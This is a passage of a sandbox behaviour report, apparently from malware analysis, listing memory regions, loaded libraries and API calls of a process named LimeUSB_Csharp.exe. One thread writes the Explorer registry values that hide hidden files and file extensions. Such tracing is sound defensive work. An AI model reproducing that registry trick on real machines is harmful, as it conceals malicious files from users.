0x7fefda02fff monitored = 0 entry_point = 0x7fefd823330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4254 start_va = 0xf10000 end_va = 0xf8cfff monitored = 0 entry_point = 0xf1cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4255 start_va = 0xff0000 end_va = 0xffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ff0000" filename = "" Region: id = 4256 start_va = 0xf10000 end_va = 0xf8cfff monitored = 0 entry_point = 0xf1cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4257 start_va = 0x7fefd2a0000 end_va = 0x7fefd2aefff monitored = 0 entry_point = 0x7fefd2a1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4258 start_va = 0x7fef8e70000 end_va = 0x7fef8e72fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 4259 start_va = 0x7fef2ff0000 end_va = 0x7fef313efff monitored = 1 entry_point = 0x7fef2ff1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 4260 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 4263 start_va = 0xf10000 end_va = 0xfeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f10000" filename = "" Region: id = 4264 start_va = 0x7fe91a10000 end_va = 0x7fe91a1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91a10000" filename = "" Region: id = 4265 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 4266 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 4267 start_va = 0x7feeec70000 end_va = 0x7feef8defff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 4268 start_va = 0x7fef2df0000 end_va = 0x7fef2fe4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 4269 start_va = 0x7feedbc0000 end_va = 0x7feeec65fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 4270 start_va = 0xf10000 end_va = 0xf1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f10000" filename = "" Region: id = 4271 start_va = 0xf70000 end_va = 0xfeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f70000" filename = "" Region: id = 4272 start_va = 0xf20000 end_va = 0xf2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f20000" filename = "" Region: id = 4273 start_va = 0xf30000 end_va = 0xf3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f30000" filename = "" Region: id = 4274 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 4275 start_va = 0x7fef8dd0000 end_va = 0x7fef8de5fff monitored = 1 entry_point = 0x7fef8dde5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 4276 start_va = 0x1b660000 end_va = 0x1b931fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Thread: id = 136 os_tid = 0x6a4 [0249.226] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0252.590] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1cec68 | out: phkResult=0x1cec68*=0x1c4) returned 0x0 [0252.592] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x1cecb8, lpData=0x0, lpcbData=0x1cecb0*=0x0 | out: lpType=0x1cecb8*=0x4, lpData=0x0, lpcbData=0x1cecb0*=0x4) returned 0x0 [0252.592] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x1cecb8, lpData=0x1cec98, lpcbData=0x1cecb0*=0x4 | out: lpType=0x1cecb8*=0x4, lpData=0x1cec98*=0x2, lpcbData=0x1cecb0*=0x4) returned 0x0 [0252.608] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x1cec78, lpData=0x0, lpcbData=0x1cec70*=0x0 | out: lpType=0x1cec78*=0x4, lpData=0x0, lpcbData=0x1cec70*=0x4) returned 0x0 [0252.609] RegSetValueExW (in: hKey=0x1c4, lpValueName="Hidden", Reserved=0x0, dwType=0x4, lpData=0x1cece8*=0x2, cbData=0x4 | out: lpData=0x1cece8*=0x2) returned 0x0 [0252.610] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x1cecb8, lpData=0x0, lpcbData=0x1cecb0*=0x0 | out: lpType=0x1cecb8*=0x4, lpData=0x0, lpcbData=0x1cecb0*=0x4) returned 0x0 [0252.610] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x1cecb8, lpData=0x1cec98, lpcbData=0x1cecb0*=0x4 | out: lpType=0x1cecb8*=0x4, lpData=0x1cec98*=0x1, lpcbData=0x1cecb0*=0x4) returned 0x0 [0252.610] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x1cec78, lpData=0x0, lpcbData=0x1cec70*=0x0 | out: lpType=0x1cec78*=0x4, lpData=0x0, lpcbData=0x1cec70*=0x4) returned 0x0 [0252.610] RegSetValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", Reserved=0x0, dwType=0x4, lpData=0x1cece8*=0x1, cbData=0x4 | out: lpData=0x1cece8*=0x1) returned 0x0 [0252.614] GetLogicalDrives () returned 0x4 [0252.690] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1cdbf8 | out: phkResult=0x1cdbf8*=0x0) returned 0x2 [0252.691] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0252.702] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x1ce650, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0252.705] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0252.708] CoGetContextToken (in: pToken=0x1cfb00 | out: pToken=0x1cfb00) returned 0x0 [0252.708] CObjectContext::QueryInterface () returned 0x0 [0252.708] CObjectContext::GetCurrentThreadType () returned 0x0 [0252.708] Release () returned 0x0 [0252.807] CoGetContextToken (in: pToken=0x1cf5a0 | out: pToken=0x1cf5a0) returned 0x0 [0252.807] CObjectContext::QueryInterface () returned 0x0 [0252.807] CObjectContext::GetCurrentThreadType () returned 0x0 [0252.807] Release () returned 0x0 [0252.808] CoGetContextToken (in: pToken=0x1cf5a0 | out: pToken=0x1cf5a0) returned 0x0 [0252.808] CObjectContext::QueryInterface () returned 0x0 [0252.808] CObjectContext::GetCurrentThreadType () returned 0x0 [0252.808] Release () returned 0x0 [0252.812] CoGetContextToken (in: pToken=0x1cf5a0 | out: pToken=0x1cf5a0) returned 0x0 [0252.813] CObjectContext::QueryInterface () returned 0x0 [0252.813] CObjectContext::GetCurrentThreadType () returned 0x0 [0252.813] Release () returned 0x0 [0252.815] CoGetContextToken (in: pToken=0x1cf5c0 | out: pToken=0x1cf5c0) returned 0x0 [0252.815] CObjectContext::QueryInterface () returned 0x0 [0252.815] CObjectContext::GetCurrentThreadType () returned 0x0 [0252.815] Release () returned 0x0 [0252.817] CoUninitialize () Thread: id = 137 os_tid = 0x344 Thread: id = 138 os_tid = 0x70c [0250.443] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0252.810] RegCloseKey (hKey=0x1c4) returned 0x0 [0252.811] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 Thread: id = 139 os_tid = 0xbdc Process: id = "28" image_name = "limeusb_csharp.exe" filename = "c:\\users\\public\\documents\\limeusb_csharp.exe" page_root = "0x2c011000" os_pid = "0x510" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Users\\Public\\Documents\\LimeUSB_Csharp.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4277 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4278 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4279 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4280 start_va = 0x1a0000 end_va = 0xc63fff monitored = 1 entry_point = 0xc5e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 4281 start_va = 0xcf0000 end_va = 0xdeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cf0000" filename = "" Region: id = 4282 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4283 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4284 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4285 start_va = 0x7fff2000 end_va = 0x7fff2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff2000" filename = "" Region: id = 4286 start_va = 0x7feff780000 end_va = 0x7feff780fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4287 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4288 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 4289 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4290 start_va = 0x50000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4291 start_va = 0x7fef8d80000 end_va = 0x7fef8deefff monitored = 1 entry_point = 0x7fef8d81134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 4292 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4293 start_va = 0x7fefd520000 end_va = 0x7fefd58bfff monitored = 0 entry_point = 0x7fefd522780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4294 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4295 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4296 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4297 start_va = 0x130000 end_va = 0x196fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4298 start_va = 0xdf0000 end_va = 0xe9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 4299 start_va = 0xea0000 end_va = 0xf9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 4300 start_va = 0xfa0000 end_va = 0x107ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fa0000" filename = "" Region: id = 4301 start_va = 0x7fefe2f0000 end_va = 0x7fefe3cafff monitored = 0 entry_point = 0x7fefe310760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4302 start_va = 0x7fefdc20000 end_va = 0x7fefdcbefff monitored = 0 entry_point = 0x7fefdc225a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4303 start_va = 0x7fefe8e0000 end_va = 0x7fefe8fefff monitored = 0 entry_point = 0x7fefe8e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4304 start_va = 0x7fefe0c0000 end_va = 0x7fefe1ecfff monitored = 0 entry_point = 0x7fefe10ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4305 start_va = 0x1080000 end_va = 0x11fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001080000" filename = "" Region: id = 4306 start_va = 0x1080000 end_va = 0x117ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001080000" filename = "" Region: id = 4307 start_va = 0x11f0000 end_va = 0x11fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011f0000" filename = "" Region: id = 4308 start_va = 0x7fef8cd0000 end_va = 0x7fef8d78fff monitored = 1 entry_point = 0x7fef8cd1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 4309 start_va = 0x7fefac50000 end_va = 0x7fefac52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 4310 start_va = 0x7fefe960000 end_va = 0x7fefe9d0fff monitored = 0 entry_point = 0x7fefe971e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4311 start_va = 0x7fefd780000 end_va = 0x7fefd7e6fff monitored = 0 entry_point = 0x7fefd78b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4312 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4313 start_va = 0x7fefd7f0000 end_va = 0x7fefd7fdfff monitored = 0 entry_point = 0x7fefd7f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4314 start_va = 0x7fefdcc0000 end_va = 0x7fefdd88fff monitored = 0 entry_point = 0x7fefdd3a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4315 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4316 start_va = 0xb0000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 4317 start_va = 0x1200000 end_va = 0x1387fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001200000" filename = "" Region: id = 4318 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4319 start_va = 0x7fefdbf0000 end_va = 0x7fefdc1dfff monitored = 0 entry_point = 0x7fefdbf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4320 start_va = 0x7fefdfb0000 end_va = 0x7fefe0b8fff monitored = 0 entry_point = 0x7fefdfb1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4321 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4322 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4323 start_va = 0x1390000 end_va = 0x1510fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001390000" filename = "" Region: id = 4324 start_va = 0x1520000 end_va = 0x291ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001520000" filename = "" Region: id = 4325 start_va = 0x2920000 end_va = 0x33dcfff monitored = 1 entry_point = 0x33de3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 4326 start_va = 0x2920000 end_va = 0x33dcfff monitored = 1 entry_point = 0x33de3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 4327 start_va = 0x7fefc570000 end_va = 0x7fefc57bfff monitored = 0 entry_point = 0x7fefc571064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4328 start_va = 0x7fef19b0000 end_va = 0x7fef2476fff monitored = 1 entry_point = 0x7fef19b63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 4329 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 4330 start_va = 0x7fef19b0000 end_va = 0x7fef2476fff monitored = 1 entry_point = 0x7fef19b63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 4331 start_va = 0x7fef8e60000 end_va = 0x7fef8e75fff monitored = 0 entry_point = 0x7fef8e6c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 4332 start_va = 0x7fef3c10000 end_va = 0x7fef3cccfff monitored = 0 entry_point = 0x7fef3c97db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 4333 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 4334 start_va = 0x70000 end_va = 0x7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 4335 start_va = 0x80000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 4336 start_va = 0x7fe92370000 end_va = 0x7fe9237ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92370000" filename = "" Region: id = 4337 start_va = 0x7fe92380000 end_va = 0x7fe9238ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92380000" filename = "" Region: id = 4338 start_va = 0x7fe92390000 end_va = 0x7fe9241ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92390000" filename = "" Region: id = 4339 start_va = 0x7fe92420000 end_va = 0x7fe9248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92420000" filename = "" Region: id = 4340 start_va = 0x90000 end_va = 0x90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 4341 start_va = 0xa0000 end_va = 0xa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 4342 start_va = 0x2920000 end_va = 0x2a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002920000" filename = "" Region: id = 4343 start_va = 0x2a70000 end_va = 0x2c2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a70000" filename = "" Region: id = 4344 start_va = 0x2ab0000 end_va = 0x2baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ab0000" filename = "" Region: id = 4345 start_va = 0x2bb0000 end_va = 0x2c2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bb0000" filename = "" Region: id = 4346 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4347 start_va = 0xc70000 end_va = 0xc7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c70000" filename = "" Region: id = 4348 start_va = 0x2c30000 end_va = 0x1ac2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c30000" filename = "" Region: id = 4349 start_va = 0x1ac30000 end_va = 0x1afaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac30000" filename = "" Region: id = 4350 start_va = 0x1afb0000 end_va = 0x1b0b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afb0000" filename = "" Region: id = 4351 start_va = 0x1b0e0000 end_va = 0x1b1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0e0000" filename = "" Region: id = 4352 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 4353 start_va = 0x1b1e0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1e0000" filename = "" Region: id = 4354 start_va = 0x1b300000 end_va = 0x1b3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b300000" filename = "" Region: id = 4355 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 4356 start_va = 0x1b400000 end_va = 0x1b6cefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4357 start_va = 0x7fef03b0000 end_va = 0x7fef19acfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 4358 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 4359 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 4360 start_va = 0x7fe92490000 end_va = 0x7fe9250ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92490000" filename = "" Region: id = 4361 start_va = 0x7fefd800000 end_va = 0x7fefda02fff monitored = 0 entry_point = 0x7fefd823330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4364 start_va = 0xc70000 end_va = 0xcecfff monitored = 0 entry_point = 0xc7cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4365 start_va = 0xc70000 end_va = 0xcecfff monitored = 0 entry_point = 0xc7cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4366 start_va = 0x7fefd2a0000 end_va = 0x7fefd2aefff monitored = 0 entry_point = 0x7fefd2a1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4367 start_va = 0x7fefb330000 end_va = 0x7fefb332fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 4368 start_va = 0x7fef3140000 end_va = 0x7fef328efff monitored = 1 entry_point = 0x7fef3141090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 4369 start_va = 0xc70000 end_va = 0xc7ffff monitored = 1 entry_point = 0x0 region_type = private name = 